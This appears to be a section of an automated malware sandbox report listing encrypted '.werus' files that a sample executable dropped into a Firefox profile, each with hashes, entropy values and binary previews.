Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	65552
Entropy (8bit):	7.997044680946495
Encrypted:	true
SSDEEP:	1536:6QVnlEcclUDWEUlHAXTFuxZvVol3vrcCFk3GPhInyNuafQC/:6QBI+DWEwWYxFelvrFkIIyNuaz
MD5:	A0857F54398F5D14C8CEACBA6A0C0147
SHA1:	239C60D65907C4353080C2877D1F736FC5A2CC98
SHA-256:	AF2FB91C9B2E4CE1264948EBBE7C2282F167E0760DC6B861A937D79D30D9A0F1
SHA-512:	AA1A2671930E5D6D655C4BC348E03D83314426E7621891C8D50C60442CEA2AF73C0E28224B27D1CD670410D6A4ADCFC7C81873462BDA0BB3697041D2A483C5C6
Malicious:	true
Preview:	?+..V.....%...O....I@.[...&6.{6..\|9...ga.......,.\|.....p._..p`...M.WI...m4#...[B"W....m"xG.5r...&.W-0...a.Ce...at.;.f^y..,.8........d.l.k70.l;g...>.pC.^y.{.......F.$u.......<P.j..W.$...9....M.......]OBG......PP.o.......1.C..S....d.q...R.4.H.o{H......=..(ewRa..'ILY...1.........01to....).....n.63.\|H....~T..~LG..,.f.I!..:..^.J..bR...H?....24...?..u..7m.a.....\|......v:..K./.....H.......84.......F..bM.o.-..6tY7'..K5.R.6..Z......3..p.......OvrS4..(...N.8.o=.z[.0CS.;e.t.0fZ.....4..{.FH.. .s..d.X-..4..&..0y....j>.6.-.v6=.B?J..d.#..G.V...x.4U-<...9.....N.Z....o..\|...US.sG~}H...[.&3...D..O5x..B~/.......\Zl...+.JJf....pv.,.....)..p.g..a........jK/:Oc.`..f.`...G.............I...7.....8..6'Yq....!.....y.-.{E...A.c....I.....X.......Cc...Nx]..H<.x.Pz.A..q....o....V.I..rq".?1..lp.....)..X...y....9.p\|.03N..2@<8[.[.;..O.t+.)..&~(.nn7C.....='......a...W..i"*v).......~i)........c=i...2.Q....@.Q....s..>J......0...n..{. .a.Z.7.q:3..u..H........YQZ`

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings\3c7034d6-bc52-43bb-9a23-5da34ee205e0.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	496
Entropy (8bit):	7.577176069839942
Encrypted:	false
SSDEEP:	12:m39wurrPHkpnXUDaYRWpEutYt8Cl9YvBxbpo8d02k7i:mKurzS9pzGnYvtpu2D
MD5:	E28AE83C34E728F46AA2BB860463776D
SHA1:	ED0A310E682531C9A1240776CB3179DB2DB62260
SHA-256:	0A9D05A406AC53E5CD9C21F3E40F2ABD5A3F6614A413E4CC808069E4223D669E
SHA-512:	AA9DE900852148F4419D4DA0C5F592E6277478BA381091B54D21AAF68C9775D6968840481ED12131D0D6FCD1D715E95835B99F30254667EC4209B90980F5CE67
Malicious:	true
Preview:	.0.;zC..AC.t...<..p..M...@E"8.&..+....x'q`.h.Ot.....TA7/......+...<.0.....97#..xz.7y.Pq.+y1}....,3.......Rh.]...,B...].i.....0.^.{..~.^.qL.."7....].........7.]..9[..u'\.]x..;....Kuqg.K..z.......].N..<B...J!..h.....@D...3,.1..Z~.Q..(..6a..)VH...%,........q..._...k.+n./........U#..a\......Y........)y..T4.[f.^.Q...,...<D7=.~:.Xu.R......"..>.+..F..........;.c..Pv....C.Q..e.<........-HC..;ekel...r.Ep..^..\|&.;..v.....`C..8..j/...:lK..._...q.......w...?.........3.Z.=

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings\a83301c6-790b-49f3-adc7-55a855f7fe79.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	73824
Entropy (8bit):	7.997646422197751
Encrypted:	true
SSDEEP:	1536:YwY/AB88PrFYohQLcviBulveNALyHtECHKfP2yRHlyHs10ofhqSZy+l9RxaZybPn:YwY/AqQquiBKvWECHKfnFdHhqSI+lPwa
MD5:	67143F6FF1AF04539BCFD935AE1AAAAF
SHA1:	1B47AFE144ECCC04CB3B9B801CCF74235D5D11D7
SHA-256:	FA7BDBF10D5DAD7C345C215DF696ECB84B24BE21335A680BE317CDF1F506A498
SHA-512:	EF0D67AF6361E84F062DDB2958D57BBDB941FBB4BDD304A3B405E7E95C1C40048F309858F496D173B6599AD35937D3CD2F25252C0607A7EB7CB9F1440A68D8FF
Malicious:	true
Preview:	6.B+.p..=J...S0........k.......J.6.y..Qc.&.Y.+n.0...8...../L9.R../....OYv..>.....m..PEY.......35.!l...h..!....7\.^:4-4P.......o.;(.kD....N.i=...$JF$<.-..!Z#..%.......4.......:a...$.Dm....IVR.g,.\|/on. .w..VW.B....x2.N.2....u!....&Kj.$..95.R..d.c{."...Pf..^....i)@.....I...f.g7....@...8.....~vyt[.>......:xE.n...rp..[.....7n..e...V. ...V../s.7..KA.i..A. ..=..d<-1.?..XQ.6..S.U..x...s/.l....E....7.I..w.v\.&...U....i...j{.. .Y....'@.@\..k.....]...e..}&.32.}.R...6...t\..P.....W...A[)0../o.c......M.8.../..>O....k/.......#..B....85iN=.....%c...E..mW...J.}k.J...5Z.\|.t=.P..x.8......f..H....'..p.;...a....4...,.+...o.[.;...E..hm.....F..aK.md.9.w\|K_......<..1[..2..z..V8u....Y...3....F........<I..M....=..f...u.k.:Cf..o1.P.....L.$!......Q..%'\|...H{..S.;P..fGVD...LX;..F)....99.H.nG...k.....l.z=.y./~.:..6....F........H^..8.n....y\.DY..f.X..<..e.c.).V.../...Z.GD..k>.a,..%F.BeE.X}k..b.3.k....o.....@..\EPi.^.`d......w(.z..=6)......*...7...zv9.5.......

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\search.json.mozlz4.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	352
Entropy (8bit):	7.382181725146133
Encrypted:	false
SSDEEP:	6:JKv6tVP5Zg9Yl76uDm6C5sLKxe28VRA2Plz4Vd9jRygAIdpjFC:k2VPHEYl79tCKL72aR7CNvAuu
MD5:	6710D48447BE8C105EB8E1ED0C282701
SHA1:	38E0F15DE8B63CAD611B6E3109C6CD6499D0147C
SHA-256:	F65879ED313D80ED9ABFC9148CF0852B633BEE6DA7054C2A85579A88EE82E2C2
SHA-512:	939DB907DDFC92F843E61A311A9ED4BFCEAA599D7127A05D1B1D4956F930ED4D80D7F06E23A8FFEF75C752CFF7463E34119F9B55E2AABCB0C8D962306CA490F1
Malicious:	true
Preview:	.....1.'{...F....YO_gP....W....G..n.DD..r.=.`Jx....!....xT.ZF.N.&.....H..V.I'....J.O%:\..U.w{...G.8..H..~.....3c.i....k~.....v.V.u?....c.ug_S..z..4...M..7...].[.uh.$..T..`aH....bQ+41m.$v..)...iDZ._....p......b,..[.."+=........!./B^......;..7.w2..,...=.PXWE.\#.....K....xctmD..=u.q.T.u...r...uK.V...l...........^.^rv2.YsI.,1."#...`.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	304
Entropy (8bit):	7.300386827635508
Encrypted:	false
SSDEEP:	6:gLJEK9vBfKx7da1U1s0I/0AODBUYrMpi25v1G4d4LHZEKb6XU1ASKvH:gLhvBSxpauU0fU5pD446P6XU+
MD5:	6D398B8BAAE6E267981616AB87C72362
SHA1:	895F7C139ECB1DB3C0FA4C98A0E4A6CD4F487A82
SHA-256:	1AE30732FAB79FE271D1E4575AABD10CF4A211DDF623B4898137118412D1F964
SHA-512:	6B0808EC2A475B91035478AD7BC956E4CEB88A4AC31D72D36306747C7C80636097C59A426ACF469797D9ECC8C1DB93536515AC2CBBB94168D3B7FF0881DA1790
Malicious:	true
Preview:	.".n.;a......c.G..z..."...1y.@3.#...:~...Qmc...Xq....i..............`..u..Vs.I.....s....A6....U.....l9%...4.1..).$..4..~/.u..RS.-M.g..4.H.."C.8..r.....}`.".-.2l.,.$....sa..)....<....Or..l=.vs.-P.jrH.....W@(...!...C.n.c..P.D.....4.s2.....T.zf.F...>..._.AW../...\D.....W....-j....[+......

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\previous.jsonlz4.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	4352
Entropy (8bit):	7.954521315164803
Encrypted:	false
SSDEEP:	96:5EQkXdF34imhJHC2fk9HR2NKGdbUqSAuuOuSoKh/s2lU1OazI:5bC4imhtC2fk9HcNKGddSAhOZh/sYU8H
MD5:	7919AF413C20CA1E5AB8D218953B70D0
SHA1:	2CF93326C929900323494DDEB350D8741359C260
SHA-256:	7004822534D1903EE0FCF180678977BD7DE1FC4A6BF23BD0185246F0B3752139
SHA-512:	4B8DE884C6B2A82D5E96666DD39594CF43234BB94FA3CC669C6F9665ED0342DEC750E7449422712272F173814CE7B3C5C52E14F1F78B50DB9DC6AFBD4C3136DC
Malicious:	false
Preview:	...B4...F`i..$....Z..`...(......U.b...5wSw.(B..5I...../a...U.`.l\|..#jY.S".$.Z....a\..tb....B......a.f....~'=...%+skp...P..J. F......I..%...#.e.j...rJ6_. ...4u),..S...t.}..I....J.Xl..B'....&cr...Yq .(D..@.0hQI....'...`0....Ay.xw.0..k..F.Y.]U.._o.mF5...c]..0.Q.Kw#.s.~N1,!.K.77...646.V{.Z.~...L.n....#t.pf.1.K..K...).0zG....O-...... oB!.2.%?az..........Kc.P.}.Kf..L.Q..D_..M"..&.d .h=/C.:.p<.PPv;..G2W...a..f.T.j..`..}....&.e.<--.]Jp...eX.I?C.y....GKn.\|S..DQ..&Zc....5u%.c.<......J..4ma(....%.T.......u.E..#<.f...._H......?e..L.#E..`5.'.`..\|.....~....<..%.oPpl.OO...W.3e.E..C\......W..`...G....$.....Hk......2......`7.p.^..99U...:.......W ......}.V.J.a.C;qx0.M.<.u_...8".....\|H..=gw......&...]...1.'.K...B.q.....}.../.Ny..3.8.......<...1./.^..E..(.......z...'%O.]..Y.tk{.....C.!.a..0^..&.~.3l...J./.&U.%..+..EA].8.M.....`...,....-......s>...pa.S.$.j..#.w....6.......P6)...n.... ..l.....9.........}o."!........AA.cQ....2...;.*.d.<.4..4].8..bi

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	4352
Entropy (8bit):	7.954521315164803
Encrypted:	false
SSDEEP:	96:5EQkXdF34imhJHC2fk9HR2NKGdbUqSAuuOuSoKh/s2lU1OazI:5bC4imhtC2fk9HcNKGddSAhOZh/sYU8H
MD5:	7919AF413C20CA1E5AB8D218953B70D0
SHA1:	2CF93326C929900323494DDEB350D8741359C260
SHA-256:	7004822534D1903EE0FCF180678977BD7DE1FC4A6BF23BD0185246F0B3752139
SHA-512:	4B8DE884C6B2A82D5E96666DD39594CF43234BB94FA3CC669C6F9665ED0342DEC750E7449422712272F173814CE7B3C5C52E14F1F78B50DB9DC6AFBD4C3136DC
Malicious:	true
Preview:	...B4...F`i..$....Z..`...(......U.b...5wSw.(B..5I...../a...U.`.l\|..#jY.S".$.Z....a\..tb....B......a.f....~'=...%+skp...P..J. F......I..%...#.e.j...rJ6_. ...4u),..S...t.}..I....J.Xl..B'....&cr...Yq .(D..@.0hQI....'...`0....Ay.xw.0..k..F.Y.]U.._o.mF5...c]..0.Q.Kw#.s.~N1,!.K.77...646.V{.Z.~...L.n....#t.pf.1.K..K...).0zG....O-...... oB!.2.%?az..........Kc.P.}.Kf..L.Q..D_..M"..&.d .h=/C.:.p<.PPv;..G2W...a..f.T.j..`..}....&.e.<--.]Jp...eX.I?C.y....GKn.\|S..DQ..&Zc....5u%.c.<......J..4ma(....%.T.......u.E..#<.f...._H......?e..L.#E..`5.'.`..\|.....~....<..%.oPpl.OO...W.3e.E..C\......W..`...G....$.....Hk......2......`7.p.^..99U...:.......W ......}.V.J.a.C;qx0.M.<.u_...8".....\|H..=gw......&...]...1.'.K...B.q.....}.../.Ny..3.8.......<...1./.^..E..(.......z...'%O.]..Y.tk{.....C.!.a..0^..&.~.3l...J./.&U.%..+..EA].8.M.....`...,....-......s>...pa.S.$.j..#.w....6.......P6)...n.... ..l.....9.........}o."!........AA.cQ....2...;.*.d.<.4..4].8..bi

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore.jsonlz4.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1232
Entropy (8bit):	7.8408516508464245
Encrypted:	false
SSDEEP:	24:YfHPCCjGa617tL5NrfZ9sscksG0lIkcrPS5o1zgudBY8n:YfHPCCj7K77Nrxasf0LakagujY8n
MD5:	1E88A7288C1C5DC029844DC27EE3A258
SHA1:	4C94F25BDA3192D3B0BA25080C90B47C38DAACC0
SHA-256:	464DE4F92C027E2170CBEBE89C72F01D899515E8B91D4E09AF448629F7CB7D00
SHA-512:	5F4290D37E83AF2AD6D44BBFCE1BF01868852DEE54516CDF83AE82C4412F5A9E4B292A81BB3095A5686FA150B94C1DD2EE15850E8F39CD72C88FE4F80A86A0F8
Malicious:	true
Preview:	b.B7..;.{...A..(.3.:....N.... K]..hK....................r.?. 0HV...u..7..[....,....T$Z.7..Ov5&...o.r.c_-.M..$(..U$.3..N.O..$24.....H>.1Nc...9.{....rZ. ....el..,. .n.......p.SE.i..h.>.=2..6...{..)]...7.\4....9......#......M~2h..}...~.Hw....*..y.9.....q.X.....?.]d........U..b...G.z..:.P..0....7.C...F..J^..Zv..?t'...I..6..J'.....{....'.....).\....wV....K.R...c./..<.V..@..(.=..z......./.y...,g.=M.o....7....2g.q!.a..\..f+.a.i.NfbV....5......P2;...]V.....f.."......./....Y.D1.?..t..S....qef$v....k.e.......GZ..I.....hJ..]g})..E=.....:.C.J3.-...l.cMjf0...I%......<.E.!'./W..5.....Xx...V....)u^.0....k.:;.\|.z./y.......5..E........(./r.o....1'.x...f......X....)9A....F....x`VD@.8...fx..j.....z.@..f.W.bn...Y.j..&9U...O..c...JI.l ;...A..1.P.XWT..du...x...5..m.@Wd..:..t...u}y`wu0......^HPC..C.V...qE8..r5..D..=.0.z.......2.}....F....&]..N....=...5..8...\..i....>xx..gI..R...>..n....^A...m.19..Pw7.#M.H..xW .n.M.(.di.\q..X.{oP...FR.......$..X&...3...u...wSp...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\shield-preference-experiments.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	32
Entropy (8bit):	4.788909765557392
Encrypted:	false
SSDEEP:	3:y/hG2u/Hen:EUWn
MD5:	05E3A1A54B7D94B9C154901A2609B9FB
SHA1:	F60114A1BCC444E1081BCBF23662AB5D5886F727
SHA-256:	B0195380EDF30FED2004705F87DA4108634C9CC5EA669ACCFD7EA2D8FE9572B5
SHA-512:	9088BAD8672DEC26310400FC34F319CD40E7683036549FD2699A29817A36C334D528DD146A477905AB403DBE1B14E347AD5C283F0FEAE50B945F5FF1B5DCAD40
Malicious:	true
Preview:	..n...AM>......x.V.\|.'...Z"..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	4112
Entropy (8bit):	7.961538491054269
Encrypted:	false
SSDEEP:	96:dA1v5jXEs/MOYN4a2VwKm74kcIAqdOCgYdvXxe5O66m/:W1vxXE52bewIFXgYDeA6x
MD5:	9F6EC9961A2C41E2866FD1B629FAA4EB
SHA1:	48477737816EDC90034E1A352BE6F9697F4E6910
SHA-256:	EB14594C3805AD5AD7450216D756DA7D4883FC59D83F88681A13A5366050D99E
SHA-512:	92CC4297B8B59CB2175EA0F519EC4D39F748F16DF0F2D79FE8D29B45286B1DF1ABC97BB8A17DA6A5F071A4C0FA30C3F4B27322533B6B53A7557A432084F1A0EB
Malicious:	true
Preview:	?+..V.....%...O..o.....b)..&...M......m.[.S:g.2.........g.I-./.gp..q.f..s..v.oB..T.........t0..o.dqxr.....2..p.W...5..Ki..&z.+`/#.~...j..;m'o...N..dy.~]r...........f....W.j.GvW.n.bx1...t....T.2.<7..V@.g.bO...yK....>....#.q...B...F..#.^..nJ7.g.7..4.7..../g.5@.Li.....1.....-+.If#...6..c.5.QD....ZX..w\|.R...;.!L....E'dJ.%.R..._.e.....Cd.....1....rw.....^.w....&.........6C.1....S.O......j>r.1..8...E.7....u.f@9..T[qI.&..Z..Y.U.j..........5Q^..YU'.sD.;...O[,....B....W.0)..Ab.s.n..B.R.~x)$./.\$?..E@..^p.U.:.U.Y.L...+.D.Or.1.x.F'.~eB......./[..c...c.5..e..n+..1m.C.G.Q...),..L.dH.p89.dB...x..n....ie.........yf.s.j.\|YE.E=....n.9q..,!......$....'......s`z.....U1P..U.....y....F3..n.b._...t..SF.rnJ...:A.?..+..E..3(..(..0k?..m..;....Y..cz[x-..p...yy[8.T.=A..N...%.....{.P.S.....GQ"2;.e.....}....-S..3g..........kv..E.C..v.v.j..7`.~AB......\./7.@...U..#7...R_w..$d....97.0a..8.x..\|..V.H@....2>Vx....* C...4...f-...n\|..$.2.'.s.\C..n%.....>:.5q!%...m.......

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\ls-archive.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	131088
Entropy (8bit):	7.998621716227289
Encrypted:	true
SSDEEP:	3072:e4AVKTuBShNPM01YsjmeAKuaMg1CBbBCF1QZLq:xuOPL1YZePayCBbAqZLq
MD5:	E68F0AE61DE07D09AC3C9E179FA9A98C
SHA1:	E848C61CC4E11B2C91DBCCC2E20E9B39F00025DC
SHA-256:	8A580E0757E48460BFE8F771B89EC0AF1CBACB7853C40F462731F5BB03D21291
SHA-512:	D754833D29DE4683D9D960550A9E1AB3468B47AF8014CE981F2E31823B0DD5DAA1BE9D6FBB3ABE843C598CFB015D212F609E230A53036605BC702234566E6910
Malicious:	true
Preview:	?+..V.....%...O...Y..G....F.M.(.4.J\;F_0.rZ..T....]...~.8...T..L..a..=.............hQ....E.".-'`..3...d.F.);...D...Wgs:Wi...u6#X...c2.d.n.....T..`.......-->.nS..T..Q..........y}0..eV?..{.2.Z..FuF!..+OP..YiE..`..D,....:..e.B=....<^/$.Ke....r.........G.Z...6H.5.F.b1=....8-.g}k.t_.M..}......As.....r.L7g..~.[..Lb rij...c/.m....c...6lj.`..M..>.D.A>t."...+,k^.s.b.pN../k.;........x..b/.Z....Z.!t..%.{....u.F.\|l..A".......x;....yw..arz.0....{5c....h...A.0...Ymb;O..a.Z..._.+....t....s..R..Y.......w..!..Ra.?.k5..k.a.........8j&..={.....{..l.~..qB..x......FEO.T.....@..U.. .kD..x..\|@U ....V...6;H.q.kX.../gn....'..Kh..@#5......;.F...(#Cc...._.....Q...n.W.../..T..)..<,r.>......U....z..Lm.Ct...d.;O...O.... .m...@u.U.H.n.P....'z..+........e...*...;...... ..\|A.t.CzY......gyu..N..... }J5..VF.37.q.\|...m......:..........O..$..D../2.qS.Y.....W.E.s.p....1A2....?..U]...\|....'.o.V....(.....b........e..x..q.&m,...0~Ek..(..#RW{........).}...pG...$..'.....-.KF\|)Pc,...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\.metadata-v2.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	48
Entropy (8bit):	5.418295834054494
Encrypted:	false
SSDEEP:	3:MV1N+L8xTHSg:MfN+AxTHSg
MD5:	9A513743E757941E8D69BFA5FE232428
SHA1:	DC2BE42245A5462D6DFAC4C720233497A87D722C
SHA-256:	1F78B18AF21710C4F3F4DD0B8803BB08E5E71B96D56D454458727A65E1B264A6
SHA-512:	BFC3121F924F34A5621A6CF807C99E1B60855AF62E31FE57D17D9EF86AF07AF0B41C4401CB51302FDB10921106B84FDD811853D22A944043D7D45E9829AC8E5E
Malicious:	true
Preview:	..:...SQ...D........>....r.\....X...#+..2.r6K.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	32784
Entropy (8bit):	7.99358924423689
Encrypted:	true
SSDEEP:	768:ZKG+10Uz5PZ/ID24OUgLLCfnrlE2datTgFWymE1WFl1JejX74e:oG+10QVetPKuFG6NzW1JejX0e
MD5:	BA1FC1C25E494ACCC6C49C818C726DBD
SHA1:	E705953CF6A44A358A5917BC64DA1E4D15B467FB
SHA-256:	C4AC8366F3D7258ED6805BF2ED356F7360D9AF96168E0E2CFC88A61B846E80B7
SHA-512:	8686257302B84F24E822D5B7F7C2E2B6486724B932082B3559AD007A293C74036B7FC9DAE94A52948C223235B5FD4AA66C8EACDC1DEB7716778286D1395D4634
Malicious:	true
Preview:	...N..a. ..lgy.F4.6o./..b.3...^WS?.WA....?.....2T.a..z&.I)SPM..HD..k.1:4F....Ti<.l7a&b...Sz].....n..M`az..p..D.g.,..]\|.:...iv.tIu..\|-.Y2/2f...=gbH._...&j......H..:.v.d.Q..WA.o..@)........N.@.b..PQ.;..9.h.P..&.....9a(...2f.Go[`^.T=..MdA....#.q.5._.\|..^.!....1..F.q).'?..-:.:U..T..2h.7"LZeN.}r.i.....O.....U.VL.u..m...F.....Q...........844......K....,.....].;"/f..vh8#_R.pU...T.NZ...._6e...)E......K7..t.....&f.....'..Ra...0..8.....[.a.'..j.a..^...U.....<1...!...M..-...D..'.`.9[..4.L....C=..Uu.0...../...W_g.?..KS_.w.o.......C...@....k\|....z;..I..`....A!...P_.....#.]..=.2..i.3:....C........... ...._.+,.....9#.i.A...".....V.Dn-GZ&.8...1..;...n......p.tr.........o..........e....I...M..wS.E.7F..\|y.....~.AN.:...J8.1...?.M..1]..R....>A.Z..Y$..c.N[G.[..T...B.....I..2QS.@.X..O.%.E......G4a.1 ...<.I~.U.4.,JB.#......>9....l..4RoB$.U.-.e.x../"..q.;.{..;..-(z.3.J'...#.F.#(.=...G....3q.n.d.h.G.....np..f..&e...R`..K..f....H....R...4Z..?"m7s......Q

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-wal.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:zJCP:kP
MD5:	37830DCFC3BBD37F9777865AF8B758F6
SHA1:	0FB29F5C11F2D6CFFAF855AB4ADC18D10360A0D3
SHA-256:	8572CB5C14FE04B501D54B106FED58084617983903D03A4E6452C3D3DF7624CA
SHA-512:	6D6D6BF5A3C22F25289A22A004ECF1A278E870233E0BDB8F0C70823FA921EC115D784B76FAD386348AAA326144852CD74B5B23678F0DDFD07CA8523AD37FB04F
Malicious:	true
Preview:	.<.D..Kl...T.i.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	49168
Entropy (8bit):	7.996307268956427
Encrypted:	true
SSDEEP:	1536:gAcdJ5gv3E7e4mdkNZk3OJM9OnRfc+ERvux52E7VGc:gnHOv09mOk3OSOu+EI5uc
MD5:	69B2A6A35CE21A9AE087AC3F70D91D73
SHA1:	A1C4B44F99086A153ACE49888CB4F8F986E3F680
SHA-256:	E93A0CE20FB8E6FF4C122427129217589593F41640C6CEFE4D260C18B289BF61
SHA-512:	3CDF20653785471E2C4F95BA8462866FF694B230DC0351BB45DAB07D7922890580098E82B6171222D81EBBB53E76E6F87C5474E573B4F349A9C94D5C3139C0F0
Malicious:	true
Preview:	?+..V.....%...O.x.'..].J{......f=..3H.Q.G.!.s.n..CS&.J..........2.]...7.q./.!.....{..3.#..ncB.l...J.7...j,.....7..%O8..O^B......{7... p..W.RF.......B.T..3$B.Xf.M..'B.sv...w9..y....P......`...1"X.9.724..%..IT:..Ra........". ..S.?..r"...Y.'zU.pQ...p....@a.'...^[..>...1a....rV....zLhj.......0.....].C.`\7./^..f;?.}jCp.C......8.-e.x..#.+...L.....X.Q.G..G.T..FBW..6^...G_...z.]...~..%....Ic...Ii..gL..W....5..P3/.c..<.@.P.C..u..A..V....\..T:...... .........,..SBT.f......a....sE...\|...16.{...2\.....u.!.[.x5k..0.....Q.....n.....<.E./.....R/'...\|.....WF6....[n..:C..]...8.........k....-.h...6.........a..=p8..K...b..{...".^$A...Dd.jI'WZ;.0P".#c"..9.ON..).C}c.N.&C..V...+.'/z"...v.-Y.........c..-@..&2U~.Z......#..fg..w..b..;......[s](!G..h..d......F&.0._g...._}F.-P..)...]y.....a.X...j.........Px....-;,..D6.s.-.......#..A.>(..t...&.{...Z.v9.1p..y.&.^.'V.iY}..[..e...C"..Ca..2.M......K.'#..\|..V.../A.........p..&AS.y..F.,...wVF..~..!. ...1....m.W:K..Z.r.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	32784
Entropy (8bit):	7.994739814123801
Encrypted:	true
SSDEEP:	384:HBRATcpPMQd85GJCfE6r3TZOd/xGMrCsfOcn84VnKCElFchWR6O5n+uXDfTzYJHP:4THQdQ/5tOdJrYc8CEliP/CcI9H+
MD5:	0ECCA07FE513DB73B9957E8F920E9928
SHA1:	0A9FB45961A06DB0912BBF738C397E96BFB7B645
SHA-256:	D9080AD8928ECAD19755113F9B5175829B78648FFF059B60BC1441D4A860B503
SHA-512:	DA5DB1B63203B5D9D1F6529BD194E71F7D345853E64D7A623CA8B9DE51B089B7504474707D53C84B2FB2F94B3D1DD54636BB761560AB37131C3E3CE913DD0CBE
Malicious:	true
Preview:	\#.w..'O.O..eB.j..TGVK5[.).P.5.B.d.SyG!..)PK.T...cUB....1-..4.m....>.`..`...t.......Y...<..r...?nD(..A..<G....T..DL..F.....%..Z..?.aY.vf..D..K.m.,...:D.2Zx......i....j....+......,......U.....rd.gz.i....a.6.r....s..N.Vq.w......r.X....Hp-....t......g..5.P..kY.q..s.6.c..g..'R.4.d.\|'...ko..Z[...Q. 6.'~...<.A...iN....NC.:..x).......T..mX...1....[..7.f.L2....]H..y.....;.:..'jc=%..9....Q ......c...+.+G\Pz.o....".6X..F...........l.^........V.I...Fu.6...'.L ...`c.n.+#....[..'..-..d...fX.kG.. ..4.c..n.......7d.....^^..bs..).T.i.....H.....0?.@..2Y...4...0...^'...y.j..U........s..;........>.........wG.$..b^`.".7.{3...!.\,.!.V.j.........)t...m.<.sAW....E1.'xF~\|w@..`........}.2..#\|....G;b4Y.G.Ct=............h....g....t.......4....r..U}..{.....lP.QxG.E.<T?.....v.$..jo.Q...>.....H.<.....7,...z.."@...p.a.......+.....fo.[z.....#tSf...0}.J. ......v...Dc..........e...'..P.?.Ji..e.........v....+0..z...X.x.^U.O].w.g.l.......h...(....<.........J

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-wal.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:zJCP:kP
MD5:	37830DCFC3BBD37F9777865AF8B758F6
SHA1:	0FB29F5C11F2D6CFFAF855AB4ADC18D10360A0D3
SHA-256:	8572CB5C14FE04B501D54B106FED58084617983903D03A4E6452C3D3DF7624CA
SHA-512:	6D6D6BF5A3C22F25289A22A004ECF1A278E870233E0BDB8F0C70823FA921EC115D784B76FAD386348AAA326144852CD74B5B23678F0DDFD07CA8523AD37FB04F
Malicious:	true
Preview:	.<.D..Kl...T.i.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	49168
Entropy (8bit):	7.995609230556229
Encrypted:	true
SSDEEP:	768:FSAcuY9ht5mbMzASWMaLQuTQFztVBRWvY/KLZzemaeVyA7IEV3YpP00zjYbFeYeX:gAcdNsbzMakBFzd/uNyLEq2jRk9
MD5:	9315189317FC9E5AD5DA978190F77807
SHA1:	3F3408C3FC739EEE5515C1ADA79DC1DBCDB8A458
SHA-256:	57FB3263720AC6C141D2937303B02BAC05D7C2DAFBAE1A2FCB3AC5A76600E318
